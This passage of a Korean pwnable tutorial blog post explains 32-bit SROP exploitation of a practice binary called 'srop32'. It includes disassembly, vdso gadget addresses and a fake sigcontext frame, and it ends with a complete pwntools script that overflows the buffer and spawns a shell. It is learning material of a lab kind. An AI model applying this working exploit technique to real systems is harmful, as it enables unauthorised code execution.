    PIE:        No PIE (0x8048000)
    Stripped:   No
Partial RELO, NX-bit 보호기법이 걸려있는 것을 확인할 수 있다.
vuln 함수의 어셈블리를 확인해보자
Dump of assembler code for function vuln:
=> 0x080491b6 <+0>:     push   ebp
   0x080491b7 <+1>:     mov    ebp,esp
   0x080491b9 <+3>:     push   ebx
   0x080491ba <+4>:     sub    esp,0x44
   0x080491bd <+7>:     call   0x80490f0 <__x86.get_pc_thunk.bx>
   0x080491c2 <+12>:    add    ebx,0x2e3e
   0x080491c8 <+18>:    sub    esp,0x8
   0x080491cb <+21>:    lea    eax,[ebx-0x1ff8]
   0x080491d1 <+27>:    push   eax
   0x080491d2 <+28>:    push   0xffffffff
   0x080491d4 <+30>:    call   0x8049090 <dlsym@plt>
   0x080491d9 <+35>:    add    esp,0x10
   0x080491dc <+38>:    mov    DWORD PTR [ebp-0xc],eax
   0x080491df <+41>:    sub    esp,0x8
   0x080491e2 <+44>:    push   DWORD PTR [ebp-0xc]
   0x080491e5 <+47>:    lea    eax,[ebx-0x1ff1]
   0x080491eb <+53>:    push   eax
   0x080491ec <+54>:    call   0x8049060 <printf@plt>
   0x080491f1 <+59>:    add    esp,0x10
   0x080491f4 <+62>:    sub    esp,0x4
   0x080491f7 <+65>:    push   0x100
   0x080491fc <+70>:    lea    eax,[ebp-0x3e]
   0x080491ff <+73>:    push   eax
   0x08049200 <+74>:    push   0x0
   0x08049202 <+76>:    call   0x8049050 <read@plt>
   0x08049207 <+81>:    add    esp,0x10
   0x0804920a <+84>:    nop
   0x0804920b <+85>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x0804920e <+88>:    leave
   0x0804920f <+89>:    ret
End of assembler dump.
- buf : ebp - 0x3e
 
buf + SFP(66) 만큼 입력하면 RET 영역을 덮어씌울 수 있다
2. 공격 순서
- sigreturn() 함수를 이용해 레지스터에 원하는 값을 저장한다
- esp → sigreturn() 함수 호출 후 이동할 주소(int 0x80 명령어가 저장된 주소)
 - ebx → "/bin/sh" 문자열이 저장된 주소
 - eax → execve() 함수의 시스템 콜 번호 (11)
 - eip → int 0x80 명령어가 저장된 주소
 - cs → (user code) 0x23
 - ss → (user data) 0x2b
 
 - int 0x80 명령어 실행
 
32bit 환경에서 execve 시스템콜의 번호는 11 (0xb) 이다
sigcontext 구조체 형태로 stack 에 값을 저장할 때 cs, ss 레지스터에 대한 값을 설정해야 한다
32bit 운영체제에서는 0x73, 0x7b 가 사용된다.
64bit 운영체제에서 실행되는 32bit 프로그램의 경우에는 0x23, 0x2b 가 사용된다.
따라서 cs 는 0x23, ss는 0x2b 로 설정하면 된다
공격 순서를 코드로 표현을 하면 다음과 같다
sigreturn()
int 0x80
3. 필요한 정보 구하기
- __kernel_sigreturn() 함수의 주소
 - "/bin/sh" 문자열이 저장된 영역
 - int 0x80 가젯
 
위의 3개의 정보를 알아야 한다

리눅스 커널버전, 아키텍처에 따라 시스템콜 가젯의 위치가 달라진다
테스트 프로그램이 32bit 이기 때문에 sigreturn() 함수를 vdso 영역에서 구할 수 있다
먼저 __kernel_sigreturn 함수의 주소이다

__kernel_sigreturn 함수의 주소는 0xf7fc4560이다

__kernel_sigreturn 을 살펴보자
0xf7fc4560 주소를 사용할 경우 pop eax 가 포함되어 있기 때문에 호출 뒤에 임의의 값이 저장되어야 한다.
- __kernel_sigreturn + 4byte + sigcontext
 
0xf7fc4561 주소를 사용할 경우 mov eax, 0x77 명령어가 실행되기 때문에 호출 뒤에 sigcontext 가 저장되어야 한다
0x77 은 32비트에서 sigreturn 시스템 콜 번호이다.
- __kernel_sigreturn + sigcontext
 
__kernel_sigreturn 의 주소로 0xf7fc4561 을 사용하자
int 80 의 주소는 0xf7fc4566 이다

메모리 영역을 확인해보면 vdso 는 0xf7fc4000~0xf7fc6000 인 것을 알 수 있다
__kernel_sigreturn() 주소는 0xf7fc4560 로 vdso 영역에 있는 것을 볼 수 있다

"/bin/sh" 문자열이 저장된 주소는 0xf7f3e0d5 이다
4. sigcontext (fake signal frame) 구성
# ifdef __i386__
struct sigcontext {
    __u16               gs, __gsh;
    __u16               fs, __fsh;
    __u16               es, __esh;
    __u16               ds, __dsh;
    __u32               edi;
    __u32               esi;
    __u32               ebp;
    __u32               esp;
    __u32               ebx;
    __u32               edx;
    __u32               ecx;
    __u32               eax;
    __u32               trapno;
    __u32               err;
    __u32               eip;
    __u16               cs, __csh;
    __u32               eflags;
    __u32               esp_at_signal;
    __u16               ss, __ssh;
    struct _fpstate __user      *fpstate;
    __u32               oldmask;
    __u32               cr2;
};
32bit 환경의 sigcontext 이다
위의 정보를 바탕으로 signal frame 을 구성해보자
payload += p32(0)       	#gs
payload += p32(0)       	#fs
payload += p32(0)       	#es
payload += p32(0)       	#ds
payload += p32(0)       	#edi;
payload += p32(0)       	#esi;
payload += p32(0)       	#ebp;
payload += p32(int80)  	    #esp;
payload += p32(binsh)   	#ebx;
payload += p32(0)       	#edx;
payload += p32(0)       	#ecx;
payload += p32(0xb)       	#eax;
payload += p32(0)       	#trapno;
payload += p32(0)       	#err;
payload += p32(int80)  	    #eip;
payload += p32(0x23)    	#cs
payload += p32(0)       	#eflags
payload += p32(0)       	#esp_at_signal
payload += p32(0x2b)    	#ss
- esp → sigreturn() 함수 호출 후 이동할 주소(int 0x80 명령어가 저장된 주소)
 - ebx → "/bin/sh" 문자열이 저장된 주소
 - eax → execve() 함수의 시스템 콜 번호 (11)
 - eip → int 0x80 명령어가 저장된 주소
 - cs → (user code) 0x23
 - ss → (user data) 0x2b
 
필요한 레지스터만 설정하고 나머지는 오류를 방지하기 위해 0으로 설정해주었다
5. 페이로드 구성
from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')
p = process('./srop32')
sigreturn = 0xf7fc4561
binsh = 0xf7f3e0d5
int80 = 0xf7fc4566
payload = b'\x90' * 66     # buf + SFP
payload += p32(sigreturn)     # RET 
payload += p32(0)       	#gs
payload += p32(0)       	#fs
payload += p32(0)       	#es
payload += p32(0)       	#ds
payload += p32(0)       	#edi;
payload += p32(0)       	#esi;
payload += p32(0)       	#ebp;
payload += p32(int80)    	#esp;
payload += p32(binsh)   	#ebx;
payload += p32(0)       	#edx;
payload += p32(0)       	#ecx;
payload += p32(0xb)       	#eax;
payload += p32(0)       	#trapno;
payload += p32(0)       	#err;
payload += p32(int80)  	    #eip;
payload += p32(0x23)    	#cs
payload += p32(0)       	#eflags
payload += p32(0)       	#esp_at_signal
payload += p32(0x2b)    	#ss
# pause()
p.send(payload)
p.interactive()
작성한 페이로드는 다음과 같다

셸을 얻은 것을 확인할 수 있다
'Hacking > Pwnable' 카테고리의 다른 글
| Stack Pivoting (0) | 2025.04.02 | 
|---|---|
| SROP (x64) (0) | 2025.03.26 | 
| OOB(Out of Bound) (0) | 2025.03.18 | 
| Off by one (0) | 2025.03.17 | 
| PIE (0) | 2024.10.13 |